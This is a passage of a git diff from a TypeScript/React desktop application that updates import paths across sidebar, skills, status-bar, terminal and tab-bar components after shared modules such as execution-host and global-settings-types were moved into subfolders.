'../../../../shared/telemetry/schemas/telemetry-property-schemas' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import type { WslHostAddResult } from '../../../../shared/remote-runtime/wsl-hosts/wsl-host-types' export type WslHostOffer = { diff --git a/src/renderer/src/components/sidebar/wsl-host-offer.ts b/src/renderer/src/components/sidebar/wsl-host-offer.ts index 5fa4118cacc..c198f2a62d0 100644 --- a/src/renderer/src/components/sidebar/wsl-host-offer.ts +++ b/src/renderer/src/components/sidebar/wsl-host-offer.ts @@ -1,5 +1,8 @@ import { parseWslUncPath } from '../../../../shared/file-access/wsl-paths' -import { toRuntimeExecutionHostId, type ExecutionHostId } from '../../../../shared/execution-host' +import { + toRuntimeExecutionHostId, + type ExecutionHostId +} from '../../../../shared/execution-host/execution-host' import type { AppState } from '@/store/types' import { listWslHostWindowsPathAccess, diff --git a/src/renderer/src/components/sidebar/wsl-host-removal.ts b/src/renderer/src/components/sidebar/wsl-host-removal.ts index 8edbb6662b5..323b698e75b 100644 --- a/src/renderer/src/components/sidebar/wsl-host-removal.ts +++ b/src/renderer/src/components/sidebar/wsl-host-removal.ts @@ -1,5 +1,5 @@ import { toast } from 'sonner' -import { toRuntimeExecutionHostId } from '../../../../shared/execution-host' +import { toRuntimeExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { WslHostServerStop } from '../../../../shared/remote-runtime/wsl-hosts/wsl-host-types' import { translate } from '@/i18n/i18n' import { useAppStore } from '@/store' diff --git a/src/renderer/src/components/skills/SkillsPage.tsx b/src/renderer/src/components/skills/SkillsPage.tsx index bf407f79629..604d4fb16c2 100644 --- a/src/renderer/src/components/skills/SkillsPage.tsx +++ b/src/renderer/src/components/skills/SkillsPage.tsx @@ -8,7 +8,7 @@ import type { RuntimeClientTarget } from '../../../../shared/remote-runtime/host import { useActiveSkillDiscoveryRuntimeTarget } from '@/hooks/skills/discovery/use-active-skill-discovery-runtime-target' import { useMountedRef } from '@/hooks/useMountedRef' import { getRuntimeTargetHostId } from '@/runtime/rpc/targets/runtime-client-target' -import { UNRESOLVED_OWNER_HOST_ID } from '../../../../shared/execution-host' +import { UNRESOLVED_OWNER_HOST_ID } from '../../../../shared/execution-host/execution-host' import type { DiscoveredSkill, SkillDiscoveryResult diff --git a/src/renderer/src/components/skills/catalog/SkillDetailDialog.tsx b/src/renderer/src/components/skills/catalog/SkillDetailDialog.tsx index 16142363e09..118305bf7b3 100644 --- a/src/renderer/src/components/skills/catalog/SkillDetailDialog.tsx +++ b/src/renderer/src/components/skills/catalog/SkillDetailDialog.tsx @@ -13,7 +13,7 @@ import { import { Tooltip, TooltipContent, TooltipTrigger } from '@/components/ui/tooltip' import { useIntlLocale, useTranslate } from '@/i18n/use-translate' import { formatClipboardFilePath } from '@/lib/clipboard/clipboard-file-path' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { DiscoveredSkill } from '../../../../../shared/skills/discovery/skills' import { sourceKindLabel } from '../presentation/skill-display-labels' import { skillAgentLabel } from './skill-agent-filter' diff --git a/src/renderer/src/components/skills/catalog/SkillRow.tsx b/src/renderer/src/components/skills/catalog/SkillRow.tsx index c33281c23a3..486942961eb 100644 --- a/src/renderer/src/components/skills/catalog/SkillRow.tsx +++ b/src/renderer/src/components/skills/catalog/SkillRow.tsx @@ -15,7 +15,7 @@ import { cn } from '@/lib/class-names' import { translate } from '@/i18n/i18n' import { useIntlLocale, useTranslate, type Translate } from '@/i18n/use-translate' import { formatClipboardFilePath } from '@/lib/clipboard/clipboard-file-path' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { DiscoveredSkill, SkillProvider } from '../../../../../shared/skills/discovery/skills' import { sourceKindLabel } from '../presentation/skill-display-labels' import { diff --git a/src/renderer/src/components/skills/catalog/SkillsList.tsx b/src/renderer/src/components/skills/catalog/SkillsList.tsx index 3eb9ba2acda..fe29849b116 100644 --- a/src/renderer/src/components/skills/catalog/SkillsList.tsx +++ b/src/renderer/src/components/skills/catalog/SkillsList.tsx @@ -1,7 +1,7 @@ import { useRef, useState } from 'react' import { toast } from 'sonner' import { useTranslate } from '@/i18n/use-translate' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { DiscoveredSkill } from '../../../../../shared/skills/discovery/skills' import { SkillRow } from './SkillRow' import { SkillDetailDialog } from './SkillDetailDialog' diff --git a/src/renderer/src/components/source-control/BaseRefPicker.tsx b/src/renderer/src/components/source-control/BaseRefPicker.tsx index b0035657045..5bc285a4aa9 100644 --- a/src/renderer/src/components/source-control/BaseRefPicker.tsx +++ b/src/renderer/src/components/source-control/BaseRefPicker.tsx @@ -14,7 +14,10 @@ import { branchRefLabels, probedDefaultBranchRef } from '../../../../shared/git/refs/branch-ref-label' -import { getRepoExecutionHostId, type ExecutionHostId } from '../../../../shared/execution-host' +import { + getRepoExecutionHostId, + type ExecutionHostId +} from '../../../../shared/execution-host/execution-host' type BaseRefPickerProps = { repoId: string diff --git a/src/renderer/src/components/standalone-terminal/open-standalone-terminal.ts b/src/renderer/src/components/standalone-terminal/open-standalone-terminal.ts index 6a418039d11..dfe68a81351 100644 --- a/src/renderer/src/components/standalone-terminal/open-standalone-terminal.ts +++ b/src/renderer/src/components/standalone-terminal/open-standalone-terminal.ts @@ -1,7 +1,7 @@ /** Reuse pane Unicode/link/IME/shortcut and kitty policy outside panes; callers own transport and parse-completion backpressure. */ import { Terminal, type ITerminalInitOnlyOptions, type ITerminalOptions } from '@xterm/xterm' import '@xterm/xterm/css/xterm.css' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import type { DashboardCardTerminalInput } from '../../../../shared/agent-status/presentation/dashboard-snapshot' import type { TerminalKittyKeyboardModeTracker } from '../../../../shared/terminal/protocol/input-modes/terminal-kitty-keyboard-mode-tracker' import { getShortcutPlatform } from '@/lib/keyboard/shortcut-platform' diff --git a/src/renderer/src/components/standalone-terminal/rendering/preview-terminal-compatibility.ts b/src/renderer/src/components/standalone-terminal/rendering/preview-terminal-compatibility.ts index 15909195f5f..38aa8f35163 100644 --- a/src/renderer/src/components/standalone-terminal/rendering/preview-terminal-compatibility.ts +++ b/src/renderer/src/components/standalone-terminal/rendering/preview-terminal-compatibility.ts @@ -1,6 +1,6 @@ import type { Terminal } from '@xterm/xterm' import { Unicode11Addon } from '@xterm/addon-unicode11' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { activateOrcaTerminalUnicodeProvider } from '../../../../../shared/terminal/appearance/terminal-unicode-provider' import { installWindowsCtrlAltChordRepair } from '@/lib/pane-manager/terminal-protocol/terminal-windows-ctrl-alt-chord-classification' import { attachTerminalMouseWheelMultiplier } from '@/lib/pane-manager/terminal-input/pane-terminal-mouse-wheel' diff --git a/src/renderer/src/components/standalone-terminal/rendering/preview-terminal-ligatures.ts b/src/renderer/src/components/standalone-terminal/rendering/preview-terminal-ligatures.ts index eb20de73c90..8dea5c4a634 100644 --- a/src/renderer/src/components/standalone-terminal/rendering/preview-terminal-ligatures.ts +++ b/src/renderer/src/components/standalone-terminal/rendering/preview-terminal-ligatures.ts @@ -1,5 +1,5 @@ import type { Terminal } from '@xterm/xterm' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { resolveTerminalLigaturesEnabled } from '../../../../../shared/terminal/appearance/terminal-ligatures' import { TerminalLigaturesAddon } from '@/lib/pane-manager/terminal-rendering/terminal-ligatures-addon' diff --git a/src/renderer/src/components/standalone-terminal/rendering/preview-terminal-options.ts b/src/renderer/src/components/standalone-terminal/rendering/preview-terminal-options.ts index b56bf81d945..32c3847e86e 100644 --- a/src/renderer/src/components/standalone-terminal/rendering/preview-terminal-options.ts +++ b/src/renderer/src/components/standalone-terminal/rendering/preview-terminal-options.ts @@ -1,5 +1,5 @@ import type { ITerminalInitOnlyOptions, ITerminalOptions, ITheme } from '@xterm/xterm' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import type { DashboardCardTerminalInput } from '../../../../../shared/agent-status/presentation/dashboard-snapshot' import { resolveTerminalFontWeights } from '../../../../../shared/terminal/appearance/terminal-fonts' import { normalizeTerminalLineHeight } from '../../../../../shared/terminal/appearance/terminal-line-height-settings' diff --git a/src/renderer/src/components/status-bar/accounts/CodexSwitcherMenu.fixture.tsx b/src/renderer/src/components/status-bar/accounts/CodexSwitcherMenu.fixture.tsx index fcaa5204ecc..599aab4f9f5 100644 --- a/src/renderer/src/components/status-bar/accounts/CodexSwitcherMenu.fixture.tsx +++ b/src/renderer/src/components/status-bar/accounts/CodexSwitcherMenu.fixture.tsx @@ -1,5 +1,5 @@ import { defineFixture } from '../../../component-fixtures/component-fixture' -import { getDefaultSettings } from '../../../../../shared/constants' +import { getDefaultSettings } from '../../../../../shared/orca-profiles/constants' import type { CodexManagedAccount } from '../../../../../shared/agent-accounts/managed-account-types' import { createEmptyRateLimitState } from '../../../../../shared/agent-usage/rate-limits/rate-limit-state-factory' import type { diff --git a/src/renderer/src/components/status-bar/accounts/provider-account-sync-key.ts b/src/renderer/src/components/status-bar/accounts/provider-account-sync-key.ts index 04fb85353c5..8cf15070a74 100644 --- a/src/renderer/src/components/status-bar/accounts/provider-account-sync-key.ts +++ b/src/renderer/src/components/status-bar/accounts/provider-account-sync-key.ts @@ -1,6 +1,6 @@ import { sameProviderAccountData } from '@/runtime/provider-accounts/observations/observed-provider-accounts' import type { ClaudeAccountSettings } from './status-bar-claude-accounts' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' // Cache by settings identity because Zustand reevaluates selectors on every store write and roster serialization is expensive. const claudeKeyBySettings = new WeakMap() diff --git a/src/renderer/src/components/status-bar/accounts/status-bar-claude-accounts.ts b/src/renderer/src/components/status-bar/accounts/status-bar-claude-accounts.ts index 5cec7de6c51..c9c65af51f5 100644 --- a/src/renderer/src/components/status-bar/accounts/status-bar-claude-accounts.ts +++ b/src/renderer/src/components/status-bar/accounts/status-bar-claude-accounts.ts @@ -2,7 +2,7 @@ import { getManagedAccountDisplayName, getManagedAccountInlineLabel } from '../../../../../shared/agent-accounts/managed-account-display-names' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import type { ClaudeRateLimitAccountsState } from '../../../../../shared/agent-accounts/managed-account-types' import { translate } from '@/i18n/i18n' import { diff --git a/src/renderer/src/components/status-bar/accounts/status-bar-codex-accounts.ts b/src/renderer/src/components/status-bar/accounts/status-bar-codex-accounts.ts index 483b4f18e00..71cb0e5bc8a 100644 --- a/src/renderer/src/components/status-bar/accounts/status-bar-codex-accounts.ts +++ b/src/renderer/src/components/status-bar/accounts/status-bar-codex-accounts.ts @@ -2,7 +2,7 @@ import { getManagedAccountDisplayName, getManagedAccountPrimaryLabel } from '../../../../../shared/agent-accounts/managed-account-display-names' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import type { CodexRateLimitAccountsState } from '../../../../../shared/agent-accounts/managed-account-types' import { translate } from '@/i18n/i18n' import { diff --git a/src/renderer/src/components/status-bar/accounts/status-bar-runtime-targets.ts b/src/renderer/src/components/status-bar/accounts/status-bar-runtime-targets.ts index a0dfc15a148..5fdf0d306ca 100644 --- a/src/renderer/src/components/status-bar/accounts/status-bar-runtime-targets.ts +++ b/src/renderer/src/components/status-bar/accounts/status-bar-runtime-targets.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import type { RateLimitRuntimeTarget } from '../../../../../shared/agent-usage/rate-limits/rate-limit-types' import { resolveLocalAccountRuntimeTarget } from '../../../../../shared/agent-accounts/local-account-runtime' import { getRendererAppPlatform } from '../../../app-shell/platform/renderer-app-platform' diff --git a/src/renderer/src/components/status-bar/composition/status-bar-agent-gating.ts b/src/renderer/src/components/status-bar/composition/status-bar-agent-gating.ts index b2bb321c292..8ca98a1b244 100644 --- a/src/renderer/src/components/status-bar/composition/status-bar-agent-gating.ts +++ b/src/renderer/src/components/status-bar/composition/status-bar-agent-gating.ts @@ -1,5 +1,5 @@ import type { TuiAgent } from '../../../../../shared/agent-launch/catalog/tui-agent' -import type { StatusBarItem } from '../../../../../shared/ui-chrome-types' +import type { StatusBarItem } from '../../../../../shared/ui-chrome/ui-chrome-types' // Hide missing CLI items and toggles after detection; unknown detection preserves them to avoid cold-start flicker. const CLI_GATED_ITEMS: ReadonlySet = new Set([ diff --git a/src/renderer/src/components/status-bar/composition/status-bar-provider-visibility.ts b/src/renderer/src/components/status-bar/composition/status-bar-provider-visibility.ts index f04fc9d5847..479c50fa735 100644 --- a/src/renderer/src/components/status-bar/composition/status-bar-provider-visibility.ts +++ b/src/renderer/src/components/status-bar/composition/status-bar-provider-visibility.ts @@ -1,5 +1,5 @@ import type { ProviderRateLimits } from '../../../../../shared/agent-usage/rate-limits/rate-limit-types' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { hasUsageData } from '../../../../../shared/agent-usage/display/usage-provider-windows' export type UsageProviderSettings = Pick< diff --git a/src/renderer/src/components/status-bar/composition/use-available-status-bar-toggles.ts b/src/renderer/src/components/status-bar/composition/use-available-status-bar-toggles.ts index 502d36318be..f74c7d54f66 100644 --- a/src/renderer/src/components/status-bar/composition/use-available-status-bar-toggles.ts +++ b/src/renderer/src/components/status-bar/composition/use-available-status-bar-toggles.ts @@ -1,5 +1,5 @@ import { useAppStore } from '../../../store/index' -import type { StatusBarItem } from '../../../../../shared/ui-chrome-types' +import type { StatusBarItem } from '../../../../../shared/ui-chrome/ui-chrome-types' import { isStatusBarItemAvailable } from './status-bar-agent-gating' /** Keep CLI toggles visible until detection proves their agent missing. */ diff --git a/src/renderer/src/components/status-bar/host-connections/PortsStatusSegment.tsx b/src/renderer/src/components/status-bar/host-connections/PortsStatusSegment.tsx index 4a640d27662..f459f2685e0 100644 --- a/src/renderer/src/components/status-bar/host-connections/PortsStatusSegment.tsx +++ b/src/renderer/src/components/status-bar/host-connections/PortsStatusSegment.tsx @@ -9,7 +9,7 @@ import { getUnavailableWorkspacePortHosts, type WorkspacePortHostRef } from '@/lib/workspace-ports/workspace-port-host-availability' -import { getLocalExecutionHostLabel } from '../../../../../shared/execution-host' +import { getLocalExecutionHostLabel } from '../../../../../shared/execution-host/execution-host' import { getExternalWorkspacePorts, getWorkspacePortGroups diff --git a/src/renderer/src/components/status-bar/host-connections/SshStatusSegment.tsx b/src/renderer/src/components/status-bar/host-connections/SshStatusSegment.tsx index f9602221809..4a7fbf2a3c9 100644 --- a/src/renderer/src/components/status-bar/host-connections/SshStatusSegment.tsx +++ b/src/renderer/src/components/status-bar/host-connections/SshStatusSegment.tsx @@ -16,7 +16,7 @@ import { isOwnedSshTargetId, toRuntimeExecutionHostId, toSshExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { buildExecutionHostRegistry } from '../../../../../shared/execution-host/execution-host-registry' import { pickerExecutionHosts } from '../../../../../shared/execution-host/managed-orcad-execution-host' import { diff --git a/src/renderer/src/components/status-bar/host-connections/runtime-environment-explicit-connect.ts b/src/renderer/src/components/status-bar/host-connections/runtime-environment-explicit-connect.ts index 7f188fb6508..001080082c0 100644 --- a/src/renderer/src/components/status-bar/host-connections/runtime-environment-explicit-connect.ts +++ b/src/renderer/src/components/status-bar/host-connections/runtime-environment-explicit-connect.ts @@ -1,5 +1,5 @@ import { toast } from 'sonner' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { RuntimeStatus } from '../../../../../shared/remote-runtime/session-graph/runtime-session-contracts' import { refreshRuntimeProjectWorktreesAndLineage } from '@/hooks/runtime-project-refresh-scheduler' import { translate } from '@/i18n/i18n' diff --git a/src/renderer/src/components/status-bar/host-connections/runtime-host-resources.ts b/src/renderer/src/components/status-bar/host-connections/runtime-host-resources.ts index d4f90d8efd3..56ce883e3d1 100644 --- a/src/renderer/src/components/status-bar/host-connections/runtime-host-resources.ts +++ b/src/renderer/src/components/status-bar/host-connections/runtime-host-resources.ts @@ -3,7 +3,7 @@ import type { Translate } from '@/i18n/use-translate' import { parseExecutionHostId, toRuntimeExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import type { SessionMemory, WorktreeMemory diff --git a/src/renderer/src/components/status-bar/resources/popover/resource-usage-session-rows.tsx b/src/renderer/src/components/status-bar/resources/popover/resource-usage-session-rows.tsx index 72b74af8d3f..8752e4067bc 100644 --- a/src/renderer/src/components/status-bar/resources/popover/resource-usage-session-rows.tsx +++ b/src/renderer/src/components/status-bar/resources/popover/resource-usage-session-rows.tsx @@ -4,7 +4,7 @@ import { Tooltip, TooltipContent, TooltipTrigger } from '@/components/ui/tooltip import { cn } from '@/lib/class-names' import { useTranslate } from '@/i18n/use-translate' import type { BrowserWorkspace } from '../../../../../../shared/browser/workspaces/browser-workspace-types' -import { ORPHAN_WORKTREE_ID } from '../../../../../../shared/constants' +import { ORPHAN_WORKTREE_ID } from '../../../../../../shared/terminal/pty/orphan-worktree-id' import type { Worktree } from '../../../../../../shared/worktree/types' import { UNATTRIBUTED_REPO_ID } from '../workspace-attribution/merge-snapshot-and-sessions' import type { diff --git a/src/renderer/src/components/status-bar/resources/pty/resource-pty-view-model.ts b/src/renderer/src/components/status-bar/resources/pty/resource-pty-view-model.ts index d8905d30d9a..9c044c4a9d9 100644 --- a/src/renderer/src/components/status-bar/resources/pty/resource-pty-view-model.ts +++ b/src/renderer/src/components/status-bar/resources/pty/resource-pty-view-model.ts @@ -8,7 +8,7 @@ import type { ProjectGroup } from '../../../../../../shared/project/groups/proje import { getRepoExecutionHostId, getWorktreeExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { projectGroupIdFromRepoId } from '../../../../../../shared/folder-workspaces/folder-workspace-worktree' import { makePaneKey, diff --git a/src/renderer/src/components/status-bar/resources/session-actions/resource-manager-worktree-target.test.ts b/src/renderer/src/components/status-bar/resources/session-actions/resource-manager-worktree-target.test.ts index 28c51c6fe50..273b0dff723 100644 --- a/src/renderer/src/components/status-bar/resources/session-actions/resource-manager-worktree-target.test.ts +++ b/src/renderer/src/components/status-bar/resources/session-actions/resource-manager-worktree-target.test.ts @@ -1,5 +1,5 @@ import { describe, expect, it } from 'vitest' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { resolveResourceManagerWorktreeTarget } from './resource-manager-worktree-target' const LOCAL = 'local' as ExecutionHostId diff --git a/src/renderer/src/components/status-bar/resources/session-actions/use-resource-usage-actions.ts b/src/renderer/src/components/status-bar/resources/session-actions/use-resource-usage-actions.ts index 746b5c9a7fe..689b96d43b0 100644 --- a/src/renderer/src/components/status-bar/resources/session-actions/use-resource-usage-actions.ts +++ b/src/renderer/src/components/status-bar/resources/session-actions/use-resource-usage-actions.ts @@ -16,7 +16,7 @@ import { useAppStore } from '../../../../store/index' import type { AppState } from '../../../../store/types' import { getIndexedAllWorktrees } from '../../../../store/slices/worktrees/listing/worktree-catalog-index' import { runWorktreeDelete } from '../../../sidebar/workspace-actions/deletion/delete-worktree-flow' -import { ORPHAN_WORKTREE_ID } from '../../../../../../shared/constants' +import { ORPHAN_WORKTREE_ID } from '../../../../../../shared/terminal/pty/orphan-worktree-id' import { parseWorkspaceKey } from '../../../../../../shared/workspace/identity/workspace-scope' import { UNATTRIBUTED_REPO_ID } from '../workspace-attribution/merge-snapshot-and-sessions' import type { UnifiedSessionRow } from '../workspace-attribution/resource-usage-merge-types' diff --git a/src/renderer/src/components/status-bar/resources/use-resource-usage-derived-model.ts b/src/renderer/src/components/status-bar/resources/use-resource-usage-derived-model.ts index 62059a4ea3e..28e832b7844 100644 --- a/src/renderer/src/components/status-bar/resources/use-resource-usage-derived-model.ts +++ b/src/renderer/src/components/status-bar/resources/use-resource-usage-derived-model.ts @@ -2,7 +2,10 @@ import { useMemo } from 'react' import type { AppState } from '../../../store/types' import type { MemorySnapshot } from '../../../../../shared/diagnostics/process-stats-types' import type { Worktree } from '../../../../../shared/worktree/types' -import { getRepoExecutionHostId, parseExecutionHostId } from '../../../../../shared/execution-host' +import { + getRepoExecutionHostId, + parseExecutionHostId +} from '../../../../../shared/execution-host/execution-host' import { mergeSnapshotAndSessions } from './workspace-attribution/merge-snapshot-and-sessions' import type { RuntimeHostResourceSample } from './workspace-attribution/resource-usage-merge-types' import type { PtyListedSession as DaemonSession } from '../../../../../shared/terminal/pty/lifecycle/pty-listed-session' diff --git a/src/renderer/src/components/status-bar/resources/use-resource-usage-status-controller.ts b/src/renderer/src/components/status-bar/resources/use-resource-usage-status-controller.ts index 07f41af2173..505a25267e0 100644 --- a/src/renderer/src/components/status-bar/resources/use-resource-usage-status-controller.ts +++ b/src/renderer/src/components/status-bar/resources/use-resource-usage-status-controller.ts @@ -31,7 +31,7 @@ import { getRuntimeHostResourceNotices, toRuntimeHostResourceSamples } from '../host-connections/runtime-host-resources' -import { getRepoExecutionHostId } from '../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { useResourceViewVisible } from './use-resource-view-visible' import { useResourcePtyActions } from './pty/use-resource-pty-actions' diff --git a/src/renderer/src/components/status-bar/resources/workspace-attribution/resource-workspace-host.ts b/src/renderer/src/components/status-bar/resources/workspace-attribution/resource-workspace-host.ts index 5e6cf6b76d1..d778fc57699 100644 --- a/src/renderer/src/components/status-bar/resources/workspace-attribution/resource-workspace-host.ts +++ b/src/renderer/src/components/status-bar/resources/workspace-attribution/resource-workspace-host.ts @@ -1,4 +1,4 @@ -import { parseExecutionHostId } from '../../../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { parseWorkspaceKey } from '../../../../../../shared/workspace/identity/workspace-scope' import type { Worktree } from '../../../../../../shared/worktree/types' import type { MergeContext } from './resource-usage-merge-types' diff --git a/src/renderer/src/components/status-bar/usage/usage-provider-settings-target.ts b/src/renderer/src/components/status-bar/usage/usage-provider-settings-target.ts index b695a0485a3..1644c6cdcee 100644 --- a/src/renderer/src/components/status-bar/usage/usage-provider-settings-target.ts +++ b/src/renderer/src/components/status-bar/usage/usage-provider-settings-target.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import type { ProviderRateLimits } from '../../../../../shared/agent-usage/rate-limits/rate-limit-types' export function getUsageProviderAccountsSectionId( diff --git a/src/renderer/src/components/status-bar/workspace-storage/decisions/workspace-space-decision-details.ts b/src/renderer/src/components/status-bar/workspace-storage/decisions/workspace-space-decision-details.ts index 3f5c002f09d..021879a9fe3 100644 --- a/src/renderer/src/components/status-bar/workspace-storage/decisions/workspace-space-decision-details.ts +++ b/src/renderer/src/components/status-bar/workspace-storage/decisions/workspace-space-decision-details.ts @@ -1,6 +1,6 @@ import type { AcceptedAgentStatuses } from '@/store/slices/agent-status/accepted-agent-statuses' import type { MigrationUnsupportedPtyEntry } from '../../../../../../shared/agent-status/contracts/agent-status-ipc-payload' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { HostedReviewProvider } from '../../../../../../shared/source-control/hosted-review/hosted-review-contracts' import type { Repo } from '../../../../../../shared/repository/repo-types' import type { TerminalTab } from '../../../../../../shared/workspace-layout/terminal-tab-types' diff --git a/src/renderer/src/components/status-bar/workspace-storage/decisions/workspace-space-issue-freshness.tsx b/src/renderer/src/components/status-bar/workspace-storage/decisions/workspace-space-issue-freshness.tsx index 8c21c4b666b..6af73f54023 100644 --- a/src/renderer/src/components/status-bar/workspace-storage/decisions/workspace-space-issue-freshness.tsx +++ b/src/renderer/src/components/status-bar/workspace-storage/decisions/workspace-space-issue-freshness.tsx @@ -1,5 +1,5 @@ import { useEffect } from 'react' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { getWorktreeGitHubIssueRepository } from '../../../../../../shared/worktree/github-issue-repository' import { useAppStore } from '@/store/index' import { installWindowVisibilityInterval } from '@/lib/window-activity/window-visibility-interval' diff --git a/src/renderer/src/components/status-bar/workspace-storage/manager/workspace-space-manager-state-types.ts b/src/renderer/src/components/status-bar/workspace-storage/manager/workspace-space-manager-state-types.ts index f625ace2fc1..a88e82ca701 100644 --- a/src/renderer/src/components/status-bar/workspace-storage/manager/workspace-space-manager-state-types.ts +++ b/src/renderer/src/components/status-bar/workspace-storage/manager/workspace-space-manager-state-types.ts @@ -1,5 +1,5 @@ import type { WorktreeForceDeleteReason } from '../../../../../../shared/worktree/removal/removal' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' export type WorkspaceSpaceDeleteState = { isDeleting: boolean diff --git a/src/renderer/src/components/status-bar/workspace-storage/overview/workspace-space-breakdown-list.tsx b/src/renderer/src/components/status-bar/workspace-storage/overview/workspace-space-breakdown-list.tsx index 0c350886988..03a86c4f77e 100644 --- a/src/renderer/src/components/status-bar/workspace-storage/overview/workspace-space-breakdown-list.tsx +++ b/src/renderer/src/components/status-bar/workspace-storage/overview/workspace-space-breakdown-list.tsx @@ -3,7 +3,7 @@ import type { WorkspaceSpaceItem, WorkspaceSpaceWorktree } from '../../../../../../shared/workspace-disk-space/workspace-space-types' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { formatCompactCount } from '../workspace-space-format' import { formatBytes } from '../../../../../../shared/text/format-bytes' import { getLargestWorkspaceSpaceItemSize } from '../manager/workspace-space-presentation' diff --git a/src/renderer/src/components/status-bar/workspace-storage/table/workspace-space-open-change.ts b/src/renderer/src/components/status-bar/workspace-storage/table/workspace-space-open-change.ts index 1b1995d56f3..04b24f6d009 100644 --- a/src/renderer/src/components/status-bar/workspace-storage/table/workspace-space-open-change.ts +++ b/src/renderer/src/components/status-bar/workspace-storage/table/workspace-space-open-change.ts @@ -2,7 +2,7 @@ import { toast } from 'sonner' import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import type { GitStatusEntry } from '../../../../../../shared/git/status/git-status-types' import type { WorkspaceSpaceWorktree } from '../../../../../../shared/workspace-disk-space/workspace-space-types' import type { WorkspaceSpaceChange } from '../../../../../../shared/workspace-disk-space/workspace-space-change' diff --git a/src/renderer/src/components/tab-bar/BrowserTab.tsx b/src/renderer/src/components/tab-bar/BrowserTab.tsx index 147f709651f..14ed49f29eb 100644 --- a/src/renderer/src/components/tab-bar/BrowserTab.tsx +++ b/src/renderer/src/components/tab-bar/BrowserTab.tsx @@ -9,7 +9,7 @@ import { ContextMenuTrigger } from '@/components/ui/context-menu' import { TabHoverCard } from './TabHoverCard' -import '../../../../shared/constants' +import '../../../../shared/orca-profiles/constants' import { ORCA_BROWSER_BLANK_URL } from '../../../../shared/browser/browser-blank-page' import { redactKagiSessionToken } from '../../../../shared/browser/navigation/browser-url' import type { BrowserWorkspace } from '../../../../shared/browser/workspaces/browser-workspace-types' diff --git a/src/renderer/src/components/tab-bar/RecentTabSwitcher.tsx b/src/renderer/src/components/tab-bar/RecentTabSwitcher.tsx index efee21484c6..4fb55b35896 100644 --- a/src/renderer/src/components/tab-bar/RecentTabSwitcher.tsx +++ b/src/renderer/src/components/tab-bar/RecentTabSwitcher.tsx @@ -4,7 +4,7 @@ import { FileText, GitGraph, GitCompare, Globe2, TerminalSquare } from 'lucide-r import { useAppStore } from '../../store/index' import { activateCyclableTab } from '../../hooks/ipc-tab-switch' import { getShortcutPlatform } from '../../hooks/useShortcutLabel' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../shared/workspace/identity/floating-workspace-id' import { activateFloatingWorkspaceCyclableTab, isFloatingWorkspacePanelFocused diff --git a/src/renderer/src/components/tab-bar/TabBarQuickCommandsButton.tsx b/src/renderer/src/components/tab-bar/TabBarQuickCommandsButton.tsx index 1a54628a4af..4f8dbecabf5 100644 --- a/src/renderer/src/components/tab-bar/TabBarQuickCommandsButton.tsx +++ b/src/renderer/src/components/tab-bar/TabBarQuickCommandsButton.tsx @@ -12,7 +12,7 @@ import { isTerminalQuickCommandComplete } from '../../../../shared/terminal/quick-commands/terminal-quick-commands' import { getRepoIdFromWorktreeId } from '../../../../shared/worktree/id' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../shared/workspace/identity/floating-workspace-id' import { runQuickCommandInNewTab } from '@/lib/terminal/quick-commands/run-quick-command-in-new-tab' import type { TerminalQuickCommand } from '../../../../shared/terminal/quick-commands/terminal-quick-command-types' import { useConfirmationDialog } from '@/components/confirmation-dialog-context' @@ -23,7 